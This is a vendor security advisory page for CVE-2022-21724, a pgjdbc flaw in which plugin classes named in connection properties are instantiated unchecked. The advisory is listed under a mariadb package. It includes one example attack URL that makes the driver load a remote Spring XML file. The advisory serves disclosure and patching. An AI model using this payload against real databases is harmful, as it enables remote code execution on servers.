​
DirectorySecurity Advisories
Sign In
Security Advisories

CGA-4p65-rcvr-255v

Published

Last updated

https://images.chainguard.dev/security/CGA-4p65-rcvr-255v
Package

mariadb-10.11

Latest Update
Fixed
Fixed Version

10.11.8-r2

Aliases
  • CVE-2022-21724
  • GHSA-v7wg-cpwc-24m4

Severity

7.0

High

CVSS V3

Summary

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Description

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

References

Updates


Safe Source for Open Sourceâ„¢
Media KitContact Us
© 2024 Chainguard. All Rights Reserved.
Private PolicyTerms of Use

Product

Chainguard Images